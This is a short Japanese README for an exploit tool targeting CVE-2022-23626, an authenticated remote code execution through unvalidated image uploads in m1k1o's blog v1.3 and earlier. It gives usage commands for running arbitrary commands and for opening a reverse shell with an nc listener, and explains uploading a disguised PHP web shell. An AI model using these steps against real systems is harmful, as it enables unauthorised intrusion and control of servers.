CVE-2022-23626 - m1k1oのブログ 認証済みRCE

m1k1oのブログ v1.3以下におけるファイルアップロードの脆弱性を利用した認証済みリモートコード実行

説明

ajax.php?action=upload_imageエンドポイントはアップロードされたファイルタイプを適切に検証しないため、認証済みユーザーが画像に偽装したPHPウェブシェルをアップロードできます。攻撃者はその後、アップロードされたファイルに直接リクエストすることで実行をトリガーできます。

参照

• EDB-50943
• CVE-2022-23626
• m1k1o/blog GitHub

影響を受けるバージョン

• m1k1oのブログ v1.3 以下

必要条件

• Python 3
• requests ライブラリ

pip install requests

使用法

コマンドの実行

python3 cve-2022-23626.py --url http://target:8081 -u admin -p admin -c "id"

リバースシェル

まずリスナーを起動します:

nc -lnvp 4444

次に実行:

python3 cve-2022-23626.py --url http://target:8081 -u admin -p admin -lh 10.10.14.2 -lp 4444

免責事項

このツールは、許可されたセキュリティテストおよび教育目的のみを対象としています。テストする明示的な許可があるシステムでのみ使用してください。